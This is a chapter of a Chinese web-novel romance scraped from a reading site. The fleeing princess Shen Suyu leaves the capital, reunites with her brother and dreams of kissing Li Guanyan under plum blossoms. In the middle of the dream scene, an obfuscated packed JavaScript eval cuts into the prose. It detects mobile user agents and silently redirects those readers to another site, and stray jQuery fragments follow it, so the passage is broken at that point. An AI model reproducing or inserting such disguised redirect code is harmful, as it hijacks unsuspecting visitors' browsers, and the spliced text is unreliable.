默认冷灰
24号文字
方正启体

7. 是梦

作者:倾天挽月本书字数:K更新时间:
    次日风雪更盛,沈宿雨对着一树枯枝分外感伤。


    落花皆被遮掩在大雪之下,像一场被风雪掩埋的隐秘心事。


    秋月仓促前来,向她手里塞了一封信。


    一丝冰凉被从掌心弥漫开来,她匆匆打开信,里面的内容看得她心惊肉跳。


    吾妹宿雨亲启,


    今盛国欲与南初国交战,尽力周旋未果,燃情况危机,迫在眉睫。


    ……


    仲冬十八子时城郊见,望汝珍重。


    ——沈清颂


    沈宿雨淡淡垂眸,神色看不出悲喜,“拿去烧了吧。”


    秋月从她手里接过书信便俯身退下,临走前又看了眼她的背影。


    风雪飘摇,形单影只。


    秋月压下心中翻涌的情绪,快步离去。


    沈宿雨在这方院子里驻足良久,久到与这漫天风雪融为一体。


    她神情一片死寂,好像等雪化了,她也会跟着一起离去。


    她像是感觉不到冷那样,又仿佛是身体已经被冻僵了,失去知觉。


    最后是秋月将她请回屋,她才恍若大梦初醒一般回过神来。


    随后便是仓促的逃离。


    风雪在这时悄然停息。


    她坐在马车里,心神俱疲,那么多次的死里逃生,她已然对马车产生了抗拒的情绪。


    她把玩着手里的玉竹手链,清脆铃音响起,抚平了心里的那股不安。


    自从与宛国开战之后,谢迟就一直守在前线,以来应对突如其来的战争,又像是一场精心的,颠覆天下的阴谋。


    战场上刀剑无眼,萍水相逢一场,她还是希望他凡事万安。


    在马车快驶出城门时,有人截下马车。


    “大胆,你们可知这车中坐的是谁!”


    那守城侍卫躬下身,着实难办道:“上面放了话下来,从今日起,这上京城就只管进不管出,除非拿到上面的通牒。”


    “眼下姑娘既没有通牒,还是请回吧,不要让我们难办。”


    沈宿雨闻言心头狠狠一跳,看了秋月一眼。


    秋月授意便拿出一包银钱递到那侍卫手里,开口问道:“最近上京城是发生了什么大事吗?”


    那侍卫双手接下银子,笑了一下便道:“上面并没有传来什么消息,只是下了这一道告示。”


    “有劳了。”


    沈宿雨见问不出来什么,只好另做打算。


    正当她准备吩咐调马先回客栈时,一道声音当空传了过来。


    “放她们走。”


    这声音太过耳熟,叫沈宿雨过耳不忘,她攥紧了手中的手链,李观砚怎么会出现在这里。


    那侍卫见到李观砚立马战战兢兢起来,“这……”


    “还需要我再说第二遍吗?”李观砚斜斜扫他一眼,“出了事我担着。”


    听着熟悉的声音,熟悉的语气,沈宿雨的心揪作一团,眼睛也随着雪化一起潮湿。


    马车辘辘而过,似是离人的叹息。


    直到出了城郊外,她仍然没有缓过来,酸涩痛感随着呼吸蔓延到身体的每一处。


    原来有一种痛叫离别。


    她突然就觉得冷,彻骨的冷,她止不住地颤抖起来,将自己蜷缩成一团。


    有人掀起车帘,沈宿雨顺着光看过去,一抬头便看到了沈清颂。


    “哥哥。”


    眼泪难以抑制地倾泄出,她冲上前去紧紧地拥抱他,像是抓住了什么救命稻草。


    “没事了,我来了。”沈清颂怔愣了一下,随后便察觉到肩窝处传来一抹温热的触感,不由轻拍她的背以示安慰。


    沈宿雨哭到肩膀颤抖,积压的情绪在这一刻彻底爆发。


    雪又飘了起来,述说着不为人知的委屈。


    沈宿雨哭够了从他怀里起身,这才注意到他大半个身躯处在马车外,落了一身的雪。


    她颇为不好意思地伸手替他拂去满身霜雪。


    “走吧,此地不宜久留。”


    沈宿雨坐在马车里,听着外面簌簌落下的细雪,连风都温柔了很多。


    一路缓缓而过,像一场美梦,又像是再平常不过的一个傍晚。


    车马疾行,细雪纷纷。


    夜晚悄无声息的降临,她睡意朦胧,昏昏沉沉中梦到了那袭蓝色的身影。


    满天霜雪,他坐在梅花树下饮酒。


    在梦中她情不自禁地前进,直至走到那棵梅花树下。


    风雪簌簌,落英缤纷。


    在天地被霜雪染成清一色雪白时,他与这梅花便是这天地中最妖艳的存在。


    红梅坠雪,他衣袍亦逶迤一地。


    逶迤的红色里袍与这凌落下的红梅杂糅在一起,印在雪地里格外明显。


    少年妖冶得像是红梅在这寒冬时化成的精怪。


    他墨发半束,垂落在身侧,衬地整个人更是高冷洁白,似乎是染上醉意,脸颊上浮现红晕。


    红梅冷艳的香气阵阵袭来,沈宿雨问道:“你喝的是什么酒?”


    李观砚半挑眼眸:“梅花酿。”


    沈宿雨浅勾嘴角,这是一个意味不明的笑容,“好喝吗?”


    “你尝尝?”李观砚说着便递上手中的酒坛。


    沈宿雨的目光自始至终都落在李观砚身上,没有分给那个酒坛半分。


    她意味深长地看了他一眼,看他因为醉酒而微微泛起潮意的眼眸,随后轮到他染上酒渍的唇上。


    “好啊。”沈宿雨笑容更甚,那她就恭敬不如从命了。


    她俯身印下一吻。


    她看到了李观砚因为震惊而睁大的双眸。


    太近了,近到她可以数清他的眼睫。


    梅花香气在这时浓郁到要将人溺毙。


    这一吻极尽缠绵缱绻。


    许是因为李观砚在雪地中待了很久的缘故。这一吻初落下时,沈宿雨只觉得冷,像是吻上一捧霜雪。


    随后便觉得柔软,忍不住索取更多。


    她想原来这就是接吻吗?


    两片唇瓣稍稍触碰然后紧贴在一起。


    梅花的浓郁香气从他唇齿间传来,连带着微微酒气。


    沈宿雨浅尝辄止,“我知道是什么味道了。”


    她语调轻松愉快,神情坦荡自然,仿佛是真的只是想知道梅花酿是什么味道。


    金樽玉露,唇齿留香。


    酒不醉人人自醉。


    她并肩坐在李观砚身旁,细数随风雪飘落的梅花。


    她懒懒散散地撑着下巴,不自觉地往李观砚身上靠过去。


    “你好香啊,你怎么这么香?”


    李观砚没有说话,回答她的只有天边吹过的风声。


    她捧起雪地上的一撮雪,虔诚地吻了上去,她闭眼深深地感受了一下,没有李观砚的唇柔软,并且更冷。


    李观砚一把拉过她,沈宿雨重心不稳跌在他的怀里,手中的雪也随之撒落。


    “在干嘛?”


    “在想你。”


    李观砚低低地笑了一声,温热的鼻息


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917199|177006||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    喷洒在她的颈窝上。


    “想我你对着一捧雪。”


    “睹物思人。”


    “我就在你旁边啊。”


    沈宿雨借着这个姿势微微倒在他怀里,用目光仔细描摹他的容颜。


    “你是在吃醋吗李观砚?”


    他神情不太自然,眼中闪过一抹促狭,“没有。”


    连一捧霜雪的醋都要吃吗?


    沈宿雨似是无奈地叹了一口气,随后倾身再度印上一吻。


    她还来不及观察他的反应。马车颠簸,她便在这个时候醒过来了。


    黄粱一梦,镜花水月。


    她倦怠地伸手理了理有些散乱的发髻,连呼吸都染上遗憾。


    不远处挂了一盏提灯,烛火微微晃动,投下的影子也摇摆不定。


    暖黄色的烛光划破夜幕照过来时,沈宿雨心底生出无限惆怅。


    发髻越理越乱,沈宿雨干脆拔下发簪扔在地上,无声地置气。


    “连你也欺负我。”


    平常再微末不过的一件小事此刻也被无限放大,敲打她脆弱敏感地情绪。


    于是当秋月听到动静进来时,便看见摔在发簪和决堤眼泪。


    一个生性不爱流泪的人,这么短的时间内竟然哭过这么多次。


    秋月愣在那里,手足无措,沈宿雨的眼泪她这还是头一回见。


    她跪在地上捡起发簪,“公主您怎么了?”


    沈宿雨哽咽道:“你先退下吧,让我自己缓一缓。”


    她第一次如此软弱,被情绪打败,连眼泪都控制不住。


    窗外风雪喧疾伴随着车马斯鸣与车轮压过的积雪声,是这岑寂夜间唯一的躁动。


    沈宿雨坐在马车里,静静地听着,再也睡不着。


    天寒地冻,路遥马急。


    远方便是故国,她对自己说,她应该高兴起来。


    她扯动嘴角,露出一抹极为勉强的笑容。


    仿佛是在对自己说满意了吗?


    今后的命运又是如何呢?


    终究逃不过被赐婚和亲的结局。


    她被蒙上眼睛,温顺地走进将要关押自己的牢笼,还傻乎乎地把它当成宫殿。


    她是权利斗争中的牺牲品。


    她曾经享受权利,如今又为权利牺牲,将来还会再度享受权利。


    一呈接一呈,一轮顺一轮。


    因果循环,报应无穷。


    每个以为自己是看客的人其实都早已成了局中人。


    这真的是她想要的东西吗?


    连生死都不自由。


    她掀开车帘,疾风裹挟骤雪蓦地闯进来。


    一股扑面冷气给她灌了个透心凉,在这股冷气中,她慢慢冷静下来。


    看着这浓稠如墨的夜色,她的思绪又回到了初雪夜那天,那个站在她五丈之外的人。


    那人眸色深沉,恰似霜雪。


    在漫天飞雪,漆黑长夜中也清亮无比,叫人移不开眼。


    她听到自己震动的心跳声,她突然就明白了她想要的是什么了。


    一切答案都在心中浮现出来。


    风呼呼吹过,她发丝随风飘扬,自由自在,明明凛冽刺骨,她却从中品味出久违地清醒安心。


    傍晚上京城的城楼有人登临送目,风雪倏起,朦胧乱人眼。


    马车早就没影了,雪也落了厚厚一层,积过人靴,那人还是不肯走。


    夜色沉沉,风雪卓卓。


    原来执念竟能让人做到如此地步。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)